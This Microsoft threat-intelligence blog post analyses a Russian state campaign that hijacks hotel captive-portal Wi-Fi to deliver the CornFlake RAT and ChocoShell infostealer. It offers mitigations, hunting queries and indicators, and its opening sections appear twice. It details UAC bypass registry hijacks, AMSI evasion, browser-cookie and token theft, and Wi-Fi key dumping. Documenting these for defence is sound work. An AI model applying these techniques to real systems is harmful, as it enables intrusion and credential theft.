Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945, a sub-cluster of Midnight Blizzard, conducting widespread but targeted traffic manipulation attacks involving hospitality sector networks served by captive portals worldwide. Despite some tactic, technique, and procedure (TTP) similarities to the Forest Blizzard DNS hijacking operation that we publicly disclosed in April 2026, we attribute this campaign, which we call CaptiveCrunch, to Storm-2945. As reported by ReliaQuest on July 23, a portion of this activity leverages doppelganger domains mimicking Microsoft online services to conduct follow-on adversary-in-the-middle (AitM) phishing operations that abuse the device code authentication flow in Microsoft Entra ID. Microsoft Threat Intelligence has also identified active traffic manipulation attacks leading to the delivery of malware on impacted systems. Microsoft has observed Storm-2945 leveraging AI to support a significant portion of these operations.

Today, we are sharing our findings on these ongoing intrusions to raise awareness of this threat and enable customers to protect their devices, especially while traveling. We provide our assessment of Storm-2945’s relationship to Midnight Blizzard and analysis of the CaptiveCrunch campaign, detailing the malware and tradecraft used in these operations. We also provide mitigation, detection, and hunting guidance to help organizations identify and defend against Storm-2945 and related activity.

Microsoft Threat Intelligence would like to thank our partners at Anthropic and OpenAI for their collaboration and support during this investigation.

The CaptiveCrunch campaign

Since February 2026, Storm-2945 has conducted AI-augmented operations including targeted device code and OAuth code phishing campaigns leading to Entra device registration and subsequent data collection from Microsoft 365. Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945 manipulating DNS and HTTP traffic from networks served by captive portals to redirect user traffic through actor-controlled infrastructure. Although our investigation into the initial compromise vector for the captive portal networks is ongoing, we have observed notable commonalities in the equipment and management systems used across multiple affected networks. These similarities suggest that the activity might not be limited to isolated compromises of individual venues and could reflect access to shared services within portions of the captive portal ecosystem.

As part of the CaptiveCrunch campaign, Storm-2945 has leveraged their AitM position to redirect users through actor-controlled phishing infrastructure and has also delivered malware purporting to be browser or operating system updates in response to automated connectivity checks issued by users’ browsers. Multiple variants have been delivered, including fully-featured Windows remote access trojans (RAT) in compiled Golang, with functionality to conduct system enumeration, collect files and keystrokes, steal credentials and session tokens, conduct audio and video surveillance, monitor for removable media, and provide the threat actor a remote shell on infected systems.  

The threat actor infrastructure leverages a variety of ClickFix techniques to elicit the user into downloading and executing the malware:

In addition to variants of malware targeting Windows systems, Microsoft Threat Intelligence is also aware of indications that the threat actor might be targeting Android devices with similar techniques as the ClickFix landings also include instructions for Android devices to download and install an APK file.

To date, Microsoft has identified widespread compromise of Wi-Fi networks at hospitality-related organizations and other networks serviced by captive portal equipment in several countries. ReliaQuest has identified this activity not only at hotels, but also conference centers and other shared venues, and assesses that the goal of this activity is to access the accounts of corporate travelers.

Storm-2945 and Midnight Blizzard

Microsoft Threat Intelligence assesses that Storm-2945 is an operational sub-cluster of Midnight Blizzard based on distinctive technical and operational overlaps. These include technical similarities to Storm-2372, a Midnight Blizzard initial access operations sub-cluster, also notable for their device code and OAuth code phishing operations tracked throughout 2025, Microsoft Graph-based email exfiltration, social engineering delivered via commercial messaging apps, and significant similarities in victimology.

Midnight Blizzard is a Russia-based threat actor attributed by the US and UK governments to the Foreign Intelligence Service of the Russian Federation, also known as the SVR. This threat actor is known to primarily target governments, diplomatic entities, non-governmental organizations (NGOs), and information technology (IT) service providers, primarily in the US and Europe. Midnight Blizzard is consistent and persistent in their operational targeting, and their objectives rarely change. Their focus is to collect intelligence through longstanding and dedicated espionage in support of Russian foreign policy interests.

Midnight Blizzard operations often involve compromise of valid accounts and, in some highly targeted cases, advanced techniques to compromise authentication mechanisms within an organization to expand access and evade detection. They utilize diverse initial access methods, and Midnight Blizzard is also adept at identifying and abusing OAuth applications to move laterally across cloud environments and for post-compromise activity, such as email collection.

CaptiveCrunch tradecraft and tooling

CornFlake: Remote access and infostealer implant

CornFlake is a full-featured Windows RAT written in Go that serves as Storm-2945’s primary persistent implant. Microsoft has observed the threat actor rapidly iterating on this malware layer, which features customizable capabilities from the social engineering user interface and data collection capabilities to anti-detection and evasion techniques.

On initial execution, CornFlake operates in dropper mode: it displays a convincing fake progress window designed to occupy the victim’s attention while the binary copies itself to %APPDATA%\svchost32\svchost32.exe and establishes persistence.

Fake window options configurable by the threat actor at build time:

• winupdate — A Windows Update screen displaying “Working on updates… Don’t turn off your computer”
• defender — A Windows Security virus scan
• directx — A DirectX End-User Runtime Web Installer
• vcredist — A Microsoft Visual C++ 2015-2022 Redistributable installer
• sysopt — A disk optimization utility
• netfix — A Windows Network Diagnostics tool
• browser — A browser update prompt
• pdfview — A document viewer installer

CornFlake registers as a Windows service named svchost32 with the display name “Cloud Sync Service” and description “Synchronizes files with the cloud storage provider”, deliberately mimicking the legitimate svchost.exe process. It establishes redundant persistence mechanisms: Windows service registrations, Registry Run keys, named scheduled tasks, and a persistence watchdog routine that runs continuously to restore any persistence mechanism that is removed by defenders or endpoint protection.

For command and control (C2), CornFlake performs an Elliptic Curve Diffie-Hellman (ECDH) P-256 ephemeral key exchange with the C2 server, derives a session key via SHA-256, and communicates over a custom JSON protocol framed within the encrypted channel. This provides an encrypted channel to the C2 server, with each C2 session using a unique ephemeral key, making decryption of captured traffic impossible without the session-specific private key. The runtime configuration file sync.dat supports hot reconfiguration of C2 servers, watched directories, file targeting patterns, and Transport Layer Security (TLS) settings without requiring redeployment.

Once established on a victim system, CornFlake provides the operator with a comprehensive collection toolkit, gated by configuration flags that allow selective activation post-deployment:

CornFlake also exposes a localhost HTTP API server (/upload, /reload, /status) that transforms the RAT into a modular platform: companion or next-stage payloads such as ChocoShell could task file exfiltration, trigger configuration hot reloads or check C2 connectivity using the pre-established secure C2 channel for communication.

ChocoShell: PowerShell infostealer

ChocoShell is the campaign’s Powershell-based infostealer, delivered and executed entirely in-memory. Its primary objective is the high-volume theft of browser session cookies, saved passwords, Microsoft 365 Single Sign-On (SSO) tokens, and Wi-Fi credentials from compromised systems. Where CornFlake provides the operator with a persistent, long-running foothold on the device, ChocoShell is designed to extract the most operationally valuable credentials, giving the operator access to victim cloud environments.

The ChocoShell script was authored with full developer comments that reveal the operator’s intent behind each code decision, including explicit references to Microsoft detection signatures and the reasoning behind specific evasion choices. The consistent coding standard and descriptive commentary suggest the author might have leveraged AI-assisted code generation.

Defense evasion. Upon execution, ChocoShell beacons to a hardcoded C2 server at 213.145.86[.]112 and implements several evasion techniques in sequence. It disables the Antimalware Scan Interface (AMSI) via .NET reflection to prevent ScriptBlock scanning and evades Microsoft behavioral detection that triggers on suspicious PowerShell web request cmdlets. A timing-based sandbox detection check is also employed as a virtual machine (VM) detection mechanism, silently exiting without performing any collection if detected.

C2 communication. ChocoShell communicates with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel. Additional tooling is fetched from /cdn/chunks/polyfill-7e2b.min.js, disguised as a JavaScript polyfill file. This downloaded module is Base64-decoded and executed in memory via [ScriptBlock]::Create(), providing browser encryption key extraction capabilities, SYSTEM token impersonation, and Defender signature locking. Exfiltrated data is sent by POST to /t/event as GZip-compressed, Base64-wrapped JSON.

Privilege escalation. ChocoShell requires administrative privileges for its most impactful capabilities: SYSTEM token impersonation for Chrome ABE decryption, Volume Shadow Copy Service (VSS) shadow copy creation, Defender signature locking. It implements three silent UAC bypass techniques with ordered fallback:

1. SilentCleanup task hijack: Writes a malicious command to HKCU\Environment\windir, then triggers the built-in SilentCleanup scheduled task, which resolves %windir% from the user’s environment, executing the threat actor’s command at elevated privilege. The registry value is cleaned up after two seconds to avoid cloud detection.
2. wsreset.exe COM hijack: Creates a COM handler key in HKCU\Software\Classes and launches the auto-elevating Windows Store reset tool.
3. sdclt.exe folder hijack: Hijacks HKCU\Software\Classes\Folder\shell\open\command and launches the Windows Backup utility with the /KickOffElev flag.

If none of the silent bypasses succeed (for example, the user is not a local administrator), ChocoShell falls back to a visible UAC prompt via Start-Process -Verb RunAs. Notably, the script also contains a variant designed to execute within the WinGet Desired State Configuration (DSC) host process (ConfigurationRemotingServer), suggesting an attack vector through malicious WinGet DSC configuration used in Windows machine provisioning.

Credential and session theft. Once running with elevated permissions, ChocoShell locks Defender signature updates and systematically harvests data from multiple sources. For Chromium-based browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi), it extracts the master encryption key from the browser’s Local State file, handling both the modern ABE scheme (Chrome v127+) and the legacy data protection API (DPAPI)-only scheme. ABE decryption requires SYSTEM-level DPAPI access, which the malware obtains by impersonating a SYSTEM process token borrowed from winlogon.exe, wininit.exe, or services.exe. Locked browser SQLite databases are accessed through three strategies: shared file access, Volume Shadow Service snapshots, and direct copy as a fallback.

As a parallel collection path, ChocoShell launches Chrome, Edge, and Brave with the –remote-debugging-port flag and issues Network.getAllCookies through the Chrome DevTools Protocol (CDP). This completely bypasses ABE, enabling the browser to perform its own internal decryption and returns plaintext cookie values. To handle privilege issues (SYSTEM-launched browsers inherit the wrong token), the malware creates transient scheduled tasks with TASK_LOGON_INTERACTIVE_TOKEN to launch the browser under the signed-in user’s session. After extraction, the browser is stopped and relaunched with –restore-last-session to avoid alerting the user.

For Firefox family browsers (Firefox, Waterfox, LibreWolf, Floorp, Zen), the malware copies unencrypted cookies.sqlite databases from each profile. Additionally, ChocoShell collects Microsoft 365 and Azure Active Directory (AD) access tokens, refresh tokens, and Web Account Manager (WAM) tokens from .tbres files in the Token Broker cache. Collection of these tokens represents a significant threat to enterprise environments, as threat actors could replay SSO sessions without browser cookies. Additionally, Wi-Fi credentials are harvested via netsh wlan show profile with key=clear.

Exfiltration and cleanup. All collected data is aggregated into a JSON structure, GZip-compressed, Base64-encoded, and sent by POST to the C2’s /t/event endpoint. After exfiltration, all collected data variables are nulled, garbage collection is forced, VSS shadow copies are deleted via Windows Management Instrumentation (WMI), temporary elevation scripts are removed, and all UAC bypass registry keys (already cleaned during escalation) are verified removed.

FruitStone: Operator C2 panel

FruitStone is the web-based C2 panel that Storm-2945 operators use to manage the entire CaptiveCrunch campaign infrastructure. Implemented as a single-page application (HTML and JavaScript) serving as the front-end of the C2 server with all functionality exposed without authentication, FruitStone provides a centralized dashboard for managing compromised endpoints, building and deploying new campaign payloads, and reviewing all collected data (such as screenshots, keystrokes, browser credentials).

Operational cover. The panel is branded as “CloudSync Console” with a footer reading “Acuity Systems, Inc. — Cloud Infrastructure Portal v3.2.1,” designed to appear as legitimate enterprise cloud management software if the panel URL is discovered by defenders or hosting providers. This masquerading extends to the CornFlake agent’s service name (Cloud Sync Service) and description (“Synchronizes files with the cloud storage provider”), creating a consistent cover story across the toolchain.

Session management and multi-operator support. FruitStone uses JSON Web Token (JWT)-based authentication, session revocation, and rate limiting with IP blocking to prevent brute force attacks against the panel sign in. Multiple operators could be provisioned with individual accounts, and all active sessions are visible with IP address, user-agent, and creation time to enable operational security awareness across the operators.

Agent management. The panel displays all registered CornFlake agents in a dashboard with real-time status updates via Server-Sent Events (SSE). Each agent card shows comprehensive system information including hostname, username, OS version, CPU, RAM, disk usage, screen resolution, timezone, domain membership, and camera/microphone presence, all collected during the CornFlake posture sweep. Agents are grouped by country and subnet, with geographic distribution visualized on a map.

Operators could interact with individual agents through:

• Remote shell — Interactive cmd.exe or PowerShell command execution with command history
• File system browser — Live directory traversal and arbitrary file download from compromised hosts
• Collection tasking — On-demand screenshot, process list, keylog buffer flush, clipboard dump, security posture survey, ChromeKatz cookie/password extraction, camera capture, and audio recording
• Configuration push — Live runtime reconfiguration of C2 servers, watch paths, and C2 beacon timing
• Agent update — In-place implant update by pushing a new CornFlake build to a running agent
• Agent kill — Remote termination of the CornFlake implant

Campaign builder. A step-by-step wizard enables operators to configure and build new CornFlake payloads directly from the panel:

1. Identity — Campaign ID, C2 host and port, HTTP base URL, executable file name (svchost32.exe by default), and dropper type (C dropper at ~19 KB, Go stub at ~8 MB, or standalone self-installer)

2. Capabilities — Toggle individual collection modules: screenshots, process enumeration, keylogging, clipboard monitoring, posture survey, file exfiltration, and ChromeKatz browser credential theft

3. File Paths — Configure targeted directories and file extensions by category (documents, archives, images, code, data, emails, encryption keys)

4. Evasion — Enable garble symbol randomization (for GoLang payloads), XOR string encoding, GZip upload compression, and debug mode

Infrastructure management. FruitStone provides management interfaces for three layers of supporting infrastructure:

• Proxy relays — Multi-proxy C2 relay architecture with TLS certificate tracking (fingerprint, expiry), health checks, connection counts, bytes forwarded, and rotation capabilities that push updated server lists to all online agents
• Beacon profiles — Configurable timing profiles controlling agent sleep intervals, reconnection delays, TLS Server Name Indication (SNI) spoofing (like teams.microsoft.com), and DNS fallback domains
• Staging servers — External payload hosting infrastructure with push-to-deploy, file listing, and health monitoring

Device code abuse for cloud access

Since July 16, Microsoft has observed a portion of CaptiveCrunch landing pages redirecting users to device code authentication flow experiences. In these cases, users served these landings might be instructed to enter a device code into a legitimate Microsoft sign-in page, a technique commonly referred to as device code phishing.

Device code authentication is a legitimate OAuth workflow designed for devices that cannot support a traditional sign-in experience. However, threat actors could abuse this flow by initiating an authentication request on behalf of a user then convincing the user to enter an actor-controlled device code into a legitimate Microsoft authentication page. When successful, the victim authenticates the threat actor’s session rather than their own.

This activity is consistent with previously reported device code phishing operations conducted by Midnight Blizzard since August 2024. The observed technique does not appear fundamentally novel; however, integrating device code phishing into captive portal and traffic manipulation operations might increase the likelihood that users perceive the authentication request as legitimate. For additional details on Midnight Blizzard-related device code phishing techniques, see: Storm-2372 conducts device code phishing campaign. To understand other threat actors’ use of device code phishing and associated mitigations, see Inside an AI‑enabled device code phishing campaign.

How to protect against CaptiveCrunch activity

Minimize trust in hospitality and guest networks

When traveling, users should treat hotel, conference, airport, and other guest wireless networks as untrustworthy.

• Prefer private connectivity (including mobile hotspots, satellite, and eSIM-based cellular data connections) over public Wi‑Fi whenever practical.
  • For enterprise-managed devices, organizations can choose to prevent Wi-Fi connections to networks that have not been provisioned via Mobile Device Management (MDM). See: https://learn.microsoft.com/windows/client-management/mdm/policy-csp-wifi#allowmanualwificonfiguration
• Consider using enterprise-managed travel routers or hotspot devices that establish encrypted tunnels back to trusted corporate infrastructure before accessing sensitive resources.
• Avoid downloading software updates, certificates, browser updates, network troubleshooting tools, or security utilities presented through captive portals or other unexpected web prompts.
• Verify update requests through trusted operating system mechanisms rather than pop-up messages or website prompts.

Strengthen identity and access controls

Organizations should assume that public and hospitality network infrastructure might not be trustworthy and should adopt controls that limit exposure to traffic manipulation, credential theft, and device code phishing.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Use passwordless solutions like passkeys and implement multifactor authentication (MFA).
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force MFA.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
• Use a Security Service Edge (SSE) solution like Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.

Reduce exposure during captive portal registration

Organizations should review what information employees provide to hospitality providers when connecting to guest networks.

• Do not reuse corporate credentials on hotel, conference, or guest-network registration pages.
• Where possible, organizations should evaluate whether venue-provided wireless is required for corporate events and conferences.
• Organizations should minimize unnecessary disclosure of employee identities, organizational affiliations, and travel details when booking accommodations or registering for guest network access, consistent with corporate policy and applicable local requirements.

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint detects Storm-2945 activity under the detection Suspicious activity linked to a Russian state-sponsored threat actor has been detected. However, these alerts might be triggered by unrelated threat actor activity. The following chart lists Microsoft Defender detections specific to the TTPs utilized by Storm-2945 in this attack.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Midnight Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Detect file creation after Wi-Fi connectivity test on devices

The following query checks for a file creation on a device within two minutes of the device performing built‑in Network Connectivity Status Indicator (NCSI) test, which occurs when network connectivity is established to a Wi-Fi network with a captive portal. This activity might indicate an attacker’s initial access file presence on a device.

Please note that not all files discovered through this query might be malicious or related to this threat activity.

let ncsi_endpoints = dynamic(["msftconnecttest.com","edge-http.microsoft.com","msftncsi.com","captive.apple.com","clients1.google.com",
    "clients3.google.com","clients4.google.com","clients6.google.com","connectivitycheck.gstatic.com","connectivitycheck.android.com",
    "android.clients.google.com","www.gstatic.com","detectportal.firefox.com","detectportal.brave-http-only.com","cloudflareportal.com",
    "cloudflarecp.com","cloudflareok.com","connectivity-check.warp-svc","connectivity.cloudflareclient.com","spectrum.s3.amazonaws.com",
    "nmcheck.gnome.org"]);
let NCSIEvents = DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteUrl has_any (ncsi_endpoints)
    | project NCSI_Timestamp = Timestamp, DeviceId, DeviceName, RemoteUrl, NCSI_ReportId = ReportId, NCSI_InitiatingProcessFileName = InitiatingProcessFileName, NCSI_InitiatingProcessCommandLine = InitiatingProcessCommandLine, NCSI_AccountName = InitiatingProcessAccountName;
let FileDownloadEvents = DeviceFileEvents
    | where Timestamp > ago(7d)
    | where ActionType == "FileCreated"
    | where FileName has_any (".exe",".msi",".zip",".rar",".7z")
    | project Download_Timestamp = Timestamp, DeviceId, FileName, FolderPath, Download_ReportId = ReportId, Download_InitiatingProcessFileName = InitiatingProcessFileName, Download_InitiatingProcessCommandLine = InitiatingProcessCommandLine, Download_AccountName = InitiatingProcessAccountName;
NCSIEvents
| join kind=inner (
    FileDownloadEvents
) on DeviceId
| where Download_Timestamp >= NCSI_Timestamp and Download_Timestamp 

Detect connectivity to Storm-2945 infrastructure

The following query checks for connectivity to Storm-2945 infrastructure observed in this attack activity.

let target_domains = dynamic(["ms365-device.com", "ms365-live.com", "m365-owa.com", "owa-ms365.com"]);
let target_ips = dynamic(["31.57.243.154", "38.146.28.75", "38.146.28.132", "104.194.159.150", "107.189.26.194", "213.145.86.112"]);
DeviceNetworkEvents
| where RemoteUrl has_any(target_domains) or RemoteIP in (target_ips)
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RemoteUrl,
    RemoteIP,
    LocalIP,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    AccountName = InitiatingProcessAccountName,
    ReportId

Detect CornFlake RAT presence on affected systems

The following query checks for the presence of the CornFlake RAT binary.

DeviceProcessEvents
| where FolderPath == "%APPDATA%\\svchost32\\svchost32.exe"
   or FolderPath endswith @"\svchost32\svchost32.exe"
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId

Detect CornFlake RAT Windows service registration

The following query checks for the CornFlake RAT Windows service registration.

DeviceRegistryEvents
| where RegistryKey has @"\SYSTEM\CurrentControlSet\Services\svchost32"
| where ActionType == "RegistryValueSet"
| where (RegistryValueName == "DisplayName" and RegistryValueData == "Cloud Sync Service")
    or (RegistryValueName == "Description" and RegistryValueData == "Synchronizes files with the cloud storage provider")
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RegistryKey,
    RegistryValueName,
    RegistryValueData,
    ActionType,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessAccountName,
    ReportId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_domains = dynamic(["213.145.86.112/t/pixel.gif", "213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "213.145.86.112/t/event"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect web sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_sha_hashes =dynamic([“918fa52ae45ed60ba7cc8bdc99c3cbe9ab92e0375ec31fc05d0d4513be11c593”, “be99857449d2856dd5a84e21c8a3d5e0e01456adb44062ddec5a6b4970d8d42c”]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

The following query checks domain and URL IOCs across data sources supported by ASIM web session parser:

// file hash list - imFileEvent
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["https://213.145.86.112/t/pixel.gif", "https://213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "https://213.145.86.112/t/event"]);
_Im_WebSession (url_has_any = ioc_domains)

ChocoShell C2 communications

The following query detects ChocoShell communications with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel.

let lookback = 30d;
let ioc_url_artifacts = dynamic(["/t/pixel.gif?m="]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstDomain  in (ioc_url_artifacts)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Indicators of compromise

References

• https://reliaquest.com/blog/threat-spotlight-dns-poisoning-tactics-expand-to-hospitality/
• https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication

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The post CaptiveCrunch: Midnight Blizzard targets travelers worldwide for malware delivery and credential theft appeared first on Microsoft Security Blog.

Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945, a sub-cluster of Midnight Blizzard, conducting widespread but targeted traffic manipulation attacks involving hospitality sector networks served by captive portals worldwide. Despite some tactic, technique, and procedure (TTP) similarities to the Forest Blizzard DNS hijacking operation that we publicly disclosed in April 2026, we attribute this campaign, which we call CaptiveCrunch, to Storm-2945. As reported by ReliaQuest on July 23, a portion of this activity leverages doppelganger domains mimicking Microsoft online services to conduct follow-on adversary-in-the-middle (AitM) phishing operations that abuse the device code authentication flow in Microsoft Entra ID. Microsoft Threat Intelligence has also identified active traffic manipulation attacks leading to the delivery of malware on impacted systems. Microsoft has observed Storm-2945 leveraging AI to support a significant portion of these operations.

Today, we are sharing our findings on these ongoing intrusions to raise awareness of this threat and enable customers to protect their devices, especially while traveling. We provide our assessment of Storm-2945’s relationship to Midnight Blizzard and analysis of the CaptiveCrunch campaign, detailing the malware and tradecraft used in these operations. We also provide mitigation, detection, and hunting guidance to help organizations identify and defend against Storm-2945 and related activity.

Microsoft Threat Intelligence would like to thank our partners at Anthropic and OpenAI for their collaboration and support during this investigation.

The CaptiveCrunch campaign

Since February 2026, Storm-2945 has conducted AI-augmented operations including targeted device code and OAuth code phishing campaigns leading to Entra device registration and subsequent data collection from Microsoft 365. Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945 manipulating DNS and HTTP traffic from networks served by captive portals to redirect user traffic through actor-controlled infrastructure. Although our investigation into the initial compromise vector for the captive portal networks is ongoing, we have observed notable commonalities in the equipment and management systems used across multiple affected networks. These similarities suggest that the activity might not be limited to isolated compromises of individual venues and could reflect access to shared services within portions of the captive portal ecosystem.

As part of the CaptiveCrunch campaign, Storm-2945 has leveraged their AitM position to redirect users through actor-controlled phishing infrastructure and has also delivered malware purporting to be browser or operating system updates in response to automated connectivity checks issued by users’ browsers. Multiple variants have been delivered, including fully-featured Windows remote access trojans (RAT) in compiled Golang, with functionality to conduct system enumeration, collect files and keystrokes, steal credentials and session tokens, conduct audio and video surveillance, monitor for removable media, and provide the threat actor a remote shell on infected systems.  

The threat actor infrastructure leverages a variety of ClickFix techniques to elicit the user into downloading and executing the malware:

In addition to variants of malware targeting Windows systems, Microsoft Threat Intelligence is also aware of indications that the threat actor might be targeting Android devices with similar techniques as the ClickFix landings also include instructions for Android devices to download and install an APK file.

To date, Microsoft has identified widespread compromise of Wi-Fi networks at hospitality-related organizations and other networks serviced by captive portal equipment in several countries. ReliaQuest has identified this activity not only at hotels, but also conference centers and other shared venues, and assesses that the goal of this activity is to access the accounts of corporate travelers.

Storm-2945 and Midnight Blizzard

Microsoft Threat Intelligence assesses that Storm-2945 is an operational sub-cluster of Midnight Blizzard based on distinctive technical and operational overlaps. These include technical similarities to Storm-2372, a Midnight Blizzard initial access operations sub-cluster, also notable for their device code and OAuth code phishing operations tracked throughout 2025, Microsoft Graph-based email exfiltration, social engineering delivered via commercial messaging apps, and significant similarities in victimology.

Midnight Blizzard is a Russia-based threat actor attributed by the US and UK governments to the Foreign Intelligence Service of the Russian Federation, also known as the SVR. This threat actor is known to primarily target governments, diplomatic entities, non-governmental organizations (NGOs), and information technology (IT) service providers, primarily in the US and Europe. Midnight Blizzard is consistent and persistent in their operational targeting, and their objectives rarely change. Their focus is to collect intelligence through longstanding and dedicated espionage in support of Russian foreign policy interests.

Midnight Blizzard operations often involve compromise of valid accounts and, in some highly targeted cases, advanced techniques to compromise authentication mechanisms within an organization to expand access and evade detection. They utilize diverse initial access methods, and Midnight Blizzard is also adept at identifying and abusing OAuth applications to move laterally across cloud environments and for post-compromise activity, such as email collection.

CaptiveCrunch tradecraft and tooling

CornFlake: Remote access and infostealer implant

CornFlake is a full-featured Windows RAT written in Go that serves as Storm-2945’s primary persistent implant. Microsoft has observed the threat actor rapidly iterating on this malware layer, which features customizable capabilities from the social engineering user interface and data collection capabilities to anti-detection and evasion techniques.

On initial execution, CornFlake operates in dropper mode: it displays a convincing fake progress window designed to occupy the victim’s attention while the binary copies itself to %APPDATA%\svchost32\svchost32.exe and establishes persistence.

Fake window options configurable by the threat actor at build time:

• winupdate — A Windows Update screen displaying “Working on updates… Don’t turn off your computer”
• defender — A Windows Security virus scan
• directx — A DirectX End-User Runtime Web Installer
• vcredist — A Microsoft Visual C++ 2015-2022 Redistributable installer
• sysopt — A disk optimization utility
• netfix — A Windows Network Diagnostics tool
• browser — A browser update prompt
• pdfview — A document viewer installer

CornFlake registers as a Windows service named svchost32 with the display name “Cloud Sync Service” and description “Synchronizes files with the cloud storage provider”, deliberately mimicking the legitimate svchost.exe process. It establishes redundant persistence mechanisms: Windows service registrations, Registry Run keys, named scheduled tasks, and a persistence watchdog routine that runs continuously to restore any persistence mechanism that is removed by defenders or endpoint protection.

For command and control (C2), CornFlake performs an Elliptic Curve Diffie-Hellman (ECDH) P-256 ephemeral key exchange with the C2 server, derives a session key via SHA-256, and communicates over a custom JSON protocol framed within the encrypted channel. This provides an encrypted channel to the C2 server, with each C2 session using a unique ephemeral key, making decryption of captured traffic impossible without the session-specific private key. The runtime configuration file sync.dat supports hot reconfiguration of C2 servers, watched directories, file targeting patterns, and Transport Layer Security (TLS) settings without requiring redeployment.

Once established on a victim system, CornFlake provides the operator with a comprehensive collection toolkit, gated by configuration flags that allow selective activation post-deployment:

CornFlake also exposes a localhost HTTP API server (/upload, /reload, /status) that transforms the RAT into a modular platform: companion or next-stage payloads such as ChocoShell could task file exfiltration, trigger configuration hot reloads or check C2 connectivity using the pre-established secure C2 channel for communication.

ChocoShell: PowerShell infostealer

